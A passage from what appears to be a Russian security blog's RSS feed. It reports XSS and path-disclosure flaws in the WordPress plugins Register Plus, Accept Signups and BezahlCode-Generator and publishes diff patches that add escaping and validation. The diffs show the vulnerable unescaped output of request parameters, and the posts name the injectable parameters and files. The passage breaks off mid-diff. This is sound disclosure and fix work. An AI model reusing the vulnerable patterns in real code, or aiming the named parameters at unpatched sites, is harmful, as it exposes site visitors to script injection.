<a href="http://feedads.g.doubleclick.net/~a/dqWlMdCMiO1uQHI3QhD-yWhztQs/1/da"><img src="http://feedads.g.doubleclick.net/~a/dqWlMdCMiO1uQHI3QhD-yWhztQs/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/sjblog_security?a=lSWe0tu0X_U:wppLe20lU5g:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=lSWe0tu0X_U:wppLe20lU5g:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=dnMXMwOfBR0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=lSWe0tu0X_U:wppLe20lU5g:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/sjblog_security?i=lSWe0tu0X_U:wppLe20lU5g:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=lSWe0tu0X_U:wppLe20lU5g:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=lSWe0tu0X_U:wppLe20lU5g:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/sjblog_security?i=lSWe0tu0X_U:wppLe20lU5g:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=lSWe0tu0X_U:wppLe20lU5g:l6gmwiTKsz0"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=l6gmwiTKsz0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=lSWe0tu0X_U:wppLe20lU5g:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/sjblog_security?i=lSWe0tu0X_U:wppLe20lU5g:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=lSWe0tu0X_U:wppLe20lU5g:TzevzKxY174"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=TzevzKxY174" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/sjblog_security/~4/lSWe0tu0X_U" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/security/902-sql-injection-vulnerability-z-vote/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		<feedburner:origLink>http://blog.sjinks.pro/security/902-sql-injection-vulnerability-z-vote/</feedburner:origLink></item>
		<item>
		<title>Межсайтовый скриптинг в Register Plus</title>
		<link>http://feedproxy.google.com/~r/sjblog_security/~3/ZuC9DmeWENE/</link>
		<comments>http://blog.sjinks.pro/security/895-register-plus-xss-vulnerability/#comments</comments>
		<pubDate>Sun, 13 Feb 2011 12:59:36 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[Плагины WordPress]]></category>
		<category><![CDATA[path disclosure]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[патч]]></category>
		<category><![CDATA[плагин]]></category>
		<category><![CDATA[уязвимость]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=895</guid>
		<description><![CDATA[Патч, исправляющий уязвимости XSS и FPD В плагине Register Plus 3.5.1 обнаружена уязвимость, позволяющая провести удалённому пользователю XSS-атаку. Уязвимость связана с отсутствием экранирования специальных символов при выводе данных, полученных от пользователя, что позволяет злоумышленнику выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта. Судя по дате последнего изменения, плагин автором больше не поддерживается; [...]<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/security/895-register-plus-xss-vulnerability/">источник</a> обязательно.</p>]]></description>
			<content:encoded><![CDATA[<h2><em><a href="http://blog.sjinks.pro/tag/patch/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  патч">Патч</a>, исправляющий уязвимости <a href="http://blog.sjinks.pro/tag/xss/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  XSS">XSS</a> и FPD</em></h2>
<p>В плагине <a href="http://wordpress.org/extend/plugins/register-plus/">Register Plus</a> 3.5.1 <a href="http://websecurity.com.ua/4539">обнаружена</a> <a href="http://blog.sjinks.pro/tag/vulnerability/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  уязвимость">уязвимость</a>, позволяющая провести удалённому пользователю XSS-атаку.</p>
<p>Уязвимость связана с отсутствием экранирования специальных символов при выводе данных, полученных от пользователя, что позволяет злоумышленнику выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.</p>
<p>Судя по дате последнего изменения, <a href="http://blog.sjinks.pro/tag/plugin/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  плагин">плагин</a> автором больше не поддерживается; тем не менее, пользователи <a href="http://wordpress.org/support/topic/plugin-register-plus-works-with-wp3-but-with-minor-issues?replies=2">не оставляют попытки</a> использования плагина с новыми версиями <a href="http://blog.sjinks.pro/tag/wordpress/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  WordPress">WordPress</a>.<span id="more-895"></span></p>
<p>Тем же исследователем была обнаружена уязвимость типа full <a href="http://blog.sjinks.pro/tag/path-disclosure/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  path disclosure">path disclosure</a> (ей подвержены очень многие плагины и сам WordPress в том числе).</p>
<p><strong><a href="http://static.sjinks.info/wp-content/uploads/2011/02/register-plus.diff">Скачать патч для плагина Register Plus</a>.</strong></p>
<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/security/895-register-plus-xss-vulnerability/">источник</a> обязательно.</p>
<p><a href="http://feedads.g.doubleclick.net/~a/tdlo4vke2eQe6-RfstSnSbU0WUY/0/da"><img src="http://feedads.g.doubleclick.net/~a/tdlo4vke2eQe6-RfstSnSbU0WUY/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/tdlo4vke2eQe6-RfstSnSbU0WUY/1/da"><img src="http://feedads.g.doubleclick.net/~a/tdlo4vke2eQe6-RfstSnSbU0WUY/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/sjblog_security?a=ZuC9DmeWENE:gtIqwwEFx_0:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=ZuC9DmeWENE:gtIqwwEFx_0:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=dnMXMwOfBR0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=ZuC9DmeWENE:gtIqwwEFx_0:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/sjblog_security?i=ZuC9DmeWENE:gtIqwwEFx_0:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=ZuC9DmeWENE:gtIqwwEFx_0:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=ZuC9DmeWENE:gtIqwwEFx_0:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/sjblog_security?i=ZuC9DmeWENE:gtIqwwEFx_0:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=ZuC9DmeWENE:gtIqwwEFx_0:l6gmwiTKsz0"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=l6gmwiTKsz0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=ZuC9DmeWENE:gtIqwwEFx_0:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/sjblog_security?i=ZuC9DmeWENE:gtIqwwEFx_0:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=ZuC9DmeWENE:gtIqwwEFx_0:TzevzKxY174"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=TzevzKxY174" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/sjblog_security/~4/ZuC9DmeWENE" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/security/895-register-plus-xss-vulnerability/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://blog.sjinks.pro/security/895-register-plus-xss-vulnerability/</feedburner:origLink></item>
		<item>
		<title>Межсайтовый скриптинг в плагине Accept Signups 0.1</title>
		<link>http://feedproxy.google.com/~r/sjblog_security/~3/KmndkOhn8r4/</link>
		<comments>http://blog.sjinks.pro/security/892-accept-signups-xss/#comments</comments>
		<pubDate>Wed, 09 Feb 2011 04:10:34 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[Плагины WordPress]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[безопасность]]></category>
		<category><![CDATA[патч]]></category>
		<category><![CDATA[плагин]]></category>
		<category><![CDATA[уязвимость]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=892</guid>
		<description><![CDATA[Исправление OSVDB-70101 для плагина Accept Signups В плагине Accept Signups 1.0 обнаружена уязвимость, позволяющая провести удалённому пользователю XSS-атаку. Уязвимость связана с отсутствием обработки входных данных в параметре email, передаваемом файлу wp-content/plugins/accept-signups/accept-signups_submit.php, а также с отсутствием экранирования специальных символов при выводе данных в wp-content/plugins/accept-signups/accept-signups.php. Уязвимость позволяет при помощи специально сформированного URL выполнить произвольный код сценария в браузере [...]<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/security/892-accept-signups-xss/">источник</a> обязательно.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>Исправление OSVDB-70101 для плагина Accept Signups</em></h2>
<p>В плагине <a href="http://wordpress.org/extend/plugins/accept-signups/">Accept Signups</a> 1.0 <a href="http://osvdb.org/show/osvdb/70101">обнаружена</a> <a href="http://blog.sjinks.pro/tag/vulnerability/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  уязвимость">уязвимость</a>, позволяющая провести удалённому пользователю <a href="http://blog.sjinks.pro/tag/xss/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  XSS">XSS</a>-атаку.</p>
<p>Уязвимость связана с отсутствием обработки входных данных в параметре <code>email</code>, передаваемом файлу <code>wp-content/plugins/accept-signups/accept-signups_submit.<a href="http://blog.sjinks.pro/tag/php/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  PHP">php</a></code>, а также с отсутствием экранирования специальных символов при выводе данных в <code>wp-content/plugins/accept-signups/accept-signups.php</code>.</p>
<p>Уязвимость позволяет при помощи специально сформированного URL выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.<span id="more-892"></span></p>
<p><strong><a href='http://static.sjinks.info/wp-content/uploads/2011/02/accept-signups.diff'>Патч для плагина Accept Signups 0.1</a>:</strong></p>
          
<div class="codebox">
    <div class="the_code" style="" id="p89232">
        <div class="code diff" id="p892code32">
diff -uwdBrN accept-signups.orig/accept-signups.php accept-signups/accept-signups.php<br />
<span class="re3">--- accept-signups.orig/accept-signups.php&nbsp; <span class="nu0">2010</span>-<span class="nu0">12</span>-<span class="nu0">21</span> <span class="nu0">11</span>:07:<span class="nu0">21.000000000</span> +0200</span><br />
<span class="re4">+++ accept-signups/accept-signups.php &nbsp; <span class="nu0">2011</span>-02-09 06:06:<span class="nu0">33.612991546</span> +0200</span><br />
<span class="re6">@@ -<span class="nu0">223</span>,<span class="nu0">7</span> +<span class="nu0">223</span>,<span class="nu0">7</span> @@</span><br />
&nbsp; &nbsp; $r = $wpdb-&gt;get_results<span class="br0">&#40;</span>$sql, ARRAY_A<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; $xml = '&lt;accept-signups&gt;';<br />
&nbsp; &nbsp; foreach<span class="br0">&#40;</span>$r as $k=&gt;$v<span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
<span class="re7">- &nbsp; &nbsp; &nbsp; $xml .= '&lt;signup email=&quot;' . $v<span class="br0">&#91;</span>&quot;email&quot;<span class="br0">&#93;</span> . '&quot; ip=&quot;' . $v<span class="br0">&#91;</span>&quot;ip&quot;<span class="br0">&#93;</span> . '&quot; timestamp=&quot;' . $v<span class="br0">&#91;</span>&quot;timestamp&quot;<span class="br0">&#93;</span> . '&quot; /&gt;';</span><br />
<span class="re8">+ &nbsp; &nbsp; &nbsp; $xml .= '&lt;signup email=&quot;' . esc_attr<span class="br0">&#40;</span>$v<span class="br0">&#91;</span>&quot;email&quot;<span class="br0">&#93;</span><span class="br0">&#41;</span> . '&quot; ip=&quot;' . $v<span class="br0">&#91;</span>&quot;ip&quot;<span class="br0">&#93;</span> . '&quot; timestamp=&quot;' . $v<span class="br0">&#91;</span>&quot;timestamp&quot;<span class="br0">&#93;</span> . '&quot; /&gt;';</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; $xml .= '&lt;/accept-signups&gt;';<br />
&nbsp; &nbsp; file_put_contents<span class="br0">&#40;</span>ABSPATH . 'wp-content/plugins/accept-signups/accept-signups.xml', $xml<span class="br0">&#41;</span>;<br />
<span class="re6">@@ -<span class="nu0">290</span>,<span class="nu0">7</span> +<span class="nu0">290</span>,<span class="nu0">7</span> @@</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if <span class="br0">&#40;</span>strpos<span class="br0">&#40;</span>$v1, '@'<span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $email = $v1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="re7">- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $html .= '&lt;td valign=&quot;top&quot; align=&quot;center&quot; class=&quot;acceptSignupsCell&quot;&gt;&amp;nbsp;&amp;nbsp;' . $v1 . '&amp;nbsp;&amp;nbsp;&lt;/td&gt;'; </span><br />
<span class="re8">+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $html .= '&lt;td valign=&quot;top&quot; align=&quot;center&quot; class=&quot;acceptSignupsCell&quot;&gt;&amp;nbsp;&amp;nbsp;' . esc_html<span class="br0">&#40;</span>$v1<span class="br0">&#41;</span> . '&amp;nbsp;&amp;nbsp;&lt;/td&gt;'; </span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; $html .= '&lt;td valign=&quot;top&quot; align=&quot;center&quot; class=&quot;acceptSignupsCell&quot; valign=&quot;bottom&quot;&gt;&lt;input type=&quot;checkbox&quot; name=&quot;acceptSignupsDeleteCB?' . acceptSignupsEncode<span class="br0">&#40;</span>$email<span class="br0">&#41;</span> . '&quot; id=&quot;acceptSignupsDeleteCB&quot;&gt;&lt;/td&gt;'; <br />
&nbsp; &nbsp; &nbsp; &nbsp; $html .= '&lt;/tr&gt;';<br />
diff -uwdBrN accept-signups.orig/accept-signups_submit.php accept-signups/accept-signups_submit.php<br />
<span class="re3">--- accept-signups.orig/accept-signups_submit.php &nbsp; <span class="nu0">2010</span>-<span class="nu0">12</span>-<span class="nu0">21</span> <span class="nu0">11</span>:07:<span class="nu0">21.000000000</span> +0200</span><br />
<span class="re4">+++ accept-signups/accept-signups_submit.php&nbsp; &nbsp; <span class="nu0">2011</span>-02-09 06:03:<span class="nu0">04.017742924</span> +0200</span><br />
<span class="re6">@@ -<span class="nu0">1</span>,<span class="nu0">6</span> +<span class="nu0">1</span>,<span class="nu0">5</span> @@</span><br />
&nbsp;&lt;?php<br />
<span class="re7">-require_once<span class="br0">&#40;</span>'../../../wp-config.php'<span class="br0">&#41;</span>;</span><br />
<span class="re7">-require_once<span class="br0">&#40;</span>'../../../wp-includes/wp-db.php'<span class="br0">&#41;</span>;</span><br />
<span class="re8">+require_once<span class="br0">&#40;</span>'../../../wp-load.php'<span class="br0">&#41;</span>;</span><br />
&nbsp;<br />
&nbsp;if <span class="br0">&#40;</span>true<span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; if <span class="br0">&#40;</span>isset<span class="br0">&#40;</span>$_GET<span class="br0">&#91;</span>'email'<span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
<span class="re6">@@ -<span class="nu0">9</span>,<span class="nu0">6</span> +<span class="nu0">8</span>,<span class="nu0">16</span> @@</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if <span class="br0">&#40;</span>hasEmail<span class="br0">&#40;</span>$_GET<span class="br0">&#91;</span>'email'<span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo get_option<span class="br0">&#40;</span>'accept-signups-email-already-exists'<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span> else <span class="br0">&#123;</span><br />
<span class="re8">+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $email = stripslashes<span class="br0">&#40;</span>$_GET<span class="br0">&#91;</span>'email'<span class="br0">&#93;</span><span class="br0">&#41;</span>;</span><br />
<span class="re8">+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if <span class="br0">&#40;</span>function_exists<span class="br0">&#40;</span>'filter_var'<span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></span><br />
<span class="re8">+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if <span class="br0">&#40;</span>!filter_var<span class="br0">&#40;</span>$email, FILTER_VALIDATE_EMAIL<span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></span><br />
<span class="re8">+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; die<span class="br0">&#40;</span>'-1'<span class="br0">&#41;</span>;</span><br />
<span class="re8">+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></span><br />
<span class="re8">+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></span><br />
<span class="re8">+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; elseif <span class="br0">&#40;</span>!preg_match<span class="br0">&#40;</span>'/^<span class="br0">&#40;</span><span class="br0">&#91;</span>a-z0-<span class="nu0">9</span>_\-\.<span class="br0">&#93;</span><span class="br0">&#41;</span>+\@<span class="br0">&#40;</span><span class="br0">&#91;</span>a-z0-<span class="nu0">9</span>_\-\.<span class="br0">&#93;</span><span class="br0">&#41;</span>+\.<span class="br0">&#40;</span><span class="br0">&#91;</span>a-z<span class="br0">&#93;</span><span class="br0">&#123;</span><span class="nu0">2</span>,<span class="nu0">4</span><span class="br0">&#125;</span><span class="br0">&#41;</span>$/i', $email<span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></span><br />
<span class="re8">+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; die<span class="br0">&#40;</span>'-1'<span class="br0">&#41;</span>;</span><br />
<span class="re8">+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></span><br />
<span class="re8">+</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; saveEmail<span class="br0">&#40;</span>$_GET<span class="br0">&#91;</span>'email'<span class="br0">&#93;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo get_option<span class="br0">&#40;</span>'accept-signups-email-saved'<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
        </div>
    </div>
</div>

<p>Помимо OSVDB-70101, данный <a href="http://blog.sjinks.pro/tag/patch/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  патч">патч</a> исправляет еще пару мелких недочётов.</p>
<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/security/892-accept-signups-xss/">источник</a> обязательно.</p>
<p><a href="http://feedads.g.doubleclick.net/~a/ZKCRGj2Nvwl4_7UM0XTUvB8kwpU/0/da"><img src="http://feedads.g.doubleclick.net/~a/ZKCRGj2Nvwl4_7UM0XTUvB8kwpU/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/ZKCRGj2Nvwl4_7UM0XTUvB8kwpU/1/da"><img src="http://feedads.g.doubleclick.net/~a/ZKCRGj2Nvwl4_7UM0XTUvB8kwpU/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/sjblog_security?a=KmndkOhn8r4:Tezo_RBXDJc:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=KmndkOhn8r4:Tezo_RBXDJc:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=dnMXMwOfBR0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=KmndkOhn8r4:Tezo_RBXDJc:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/sjblog_security?i=KmndkOhn8r4:Tezo_RBXDJc:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=KmndkOhn8r4:Tezo_RBXDJc:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=KmndkOhn8r4:Tezo_RBXDJc:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/sjblog_security?i=KmndkOhn8r4:Tezo_RBXDJc:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=KmndkOhn8r4:Tezo_RBXDJc:l6gmwiTKsz0"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=l6gmwiTKsz0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=KmndkOhn8r4:Tezo_RBXDJc:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/sjblog_security?i=KmndkOhn8r4:Tezo_RBXDJc:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=KmndkOhn8r4:Tezo_RBXDJc:TzevzKxY174"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=TzevzKxY174" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/sjblog_security/~4/KmndkOhn8r4" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/security/892-accept-signups-xss/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://blog.sjinks.pro/security/892-accept-signups-xss/</feedburner:origLink></item>
		<item>
		<title>Межсайтовый скриптинг в WordPress BezahlCode-Generator 1.0</title>
		<link>http://feedproxy.google.com/~r/sjblog_security/~3/EeIa7WdtlVE/</link>
		<comments>http://blog.sjinks.pro/security/890-bezahlcode-generator-xss/#comments</comments>
		<pubDate>Wed, 09 Feb 2011 03:13:15 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[Плагины WordPress]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[безопасность]]></category>
		<category><![CDATA[патч]]></category>
		<category><![CDATA[плагин]]></category>
		<category><![CDATA[уязвимость]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=890</guid>
		<description><![CDATA[Патч для BezahlCode-Generator, исправляющий уязвимость В плагине BezahlCode-Generator 1.0 обнаружена уязвимость, позволяющая провести удалённому пользователю XSS-атаку. Уязвимость связана с отсутствием обработки входных данных в параметрах gen_name, gen_account, gen_BNC, gen_amount, gen_reason в bezahlcode-generator/der_generator.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта. Патч для BezahlCode-Generator 1.0: [...]<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/security/890-bezahlcode-generator-xss/">источник</a> обязательно.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>Патч для BezahlCode-Generator, исправляющий <a href="http://blog.sjinks.pro/tag/vulnerability/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  уязвимость">уязвимость</a></em></h2>
<p>В плагине <a href="http://wordpress.org/extend/plugins/bezahlcode-generator/">BezahlCode-Generator</a> 1.0 обнаружена уязвимость, позволяющая провести удалённому пользователю <a href="http://blog.sjinks.pro/tag/xss/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  XSS">XSS</a>-атаку. Уязвимость связана с отсутствием обработки входных данных в параметрах <code>gen_name</code>, <code>gen_account</code>, <code>gen_BNC</code>, <code>gen_amount</code>, <code>gen_reason</code> в <code>bezahlcode-generator/der_generator.<a href="http://blog.sjinks.pro/tag/php/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  PHP">php</a></code>.</p>
<p>Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.<span id="more-890"></span></p>
<p><a href='http://static.sjinks.info/wp-content/uploads/2011/02/der_generator.php_.diff'>Патч для BezahlCode-Generator 1.0</a>:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p89034">
        <div class="code diff" id="p890code34">
--- der_generator.orig.php&nbsp; 2011-02-09 04:52:27.000000000 +0200<br />
<span class="re4">+++ der_generator.php &nbsp; <span class="nu0">2011</span>-02-09 05:00:<span class="nu0">20.457537559</span> +0200</span><br />
<span class="re6">@@ -<span class="nu0">16</span>,<span class="nu0">15</span> +<span class="nu0">16</span>,<span class="nu0">15</span> @@</span><br />
&nbsp;&lt;label for=&quot;singlepaymentspende&quot;&gt;&lt;input type=&quot;radio&quot; id=&quot;singlepaymentspende&quot; name=&quot;gen_type&quot; value=&quot;singlepaymentspende&quot; &lt;?php if<span class="br0">&#40;</span>$_REQUEST<span class="br0">&#91;</span>'gen_type'<span class="br0">&#93;</span>==&quot;singlepaymentspende&quot;<span class="br0">&#41;</span> echo 'checked=&quot;checked&quot;'?&gt;/&gt; Spendenzahlung&lt;/label&gt;&lt;br /&gt;<br />
&nbsp;&lt;label for=&quot;singledirectdebit&quot;&gt;&lt;input type=&quot;radio&quot; id=&quot;singledirectdebit&quot; name=&quot;gen_type&quot; value=&quot;singledirectdebit&quot; &lt;?php if<span class="br0">&#40;</span>$_REQUEST<span class="br0">&#91;</span>'gen_type'<span class="br0">&#93;</span>==&quot;singledirectdebit&quot;<span class="br0">&#41;</span> echo 'checked=&quot;checked&quot;'?&gt;/&gt; Lastschrift&lt;/label&gt;&lt;br /&gt;<br />
&nbsp;<br />
<span class="re7">-Name:&lt;br /&gt;&lt;input type=&quot;text&quot; tooltipText=&quot;Format: DTAUS Text&quot; id=&quot;gen_name&quot; onblur=&quot;checkInput<span class="br0">&#40;</span>this, 'dtaus'<span class="br0">&#41;</span>&quot; name=&quot;gen_name&quot; maxlength=&quot;<span class="nu0">27</span>&quot; value=&quot;&lt;?= isset<span class="br0">&#40;</span>$_REQUEST<span class="br0">&#91;</span>'gen_name'<span class="br0">&#93;</span><span class="br0">&#41;</span>?$_REQUEST<span class="br0">&#91;</span>'gen_name'<span class="br0">&#93;</span>:&quot;&quot;?&gt;&quot;&gt;</span><br />
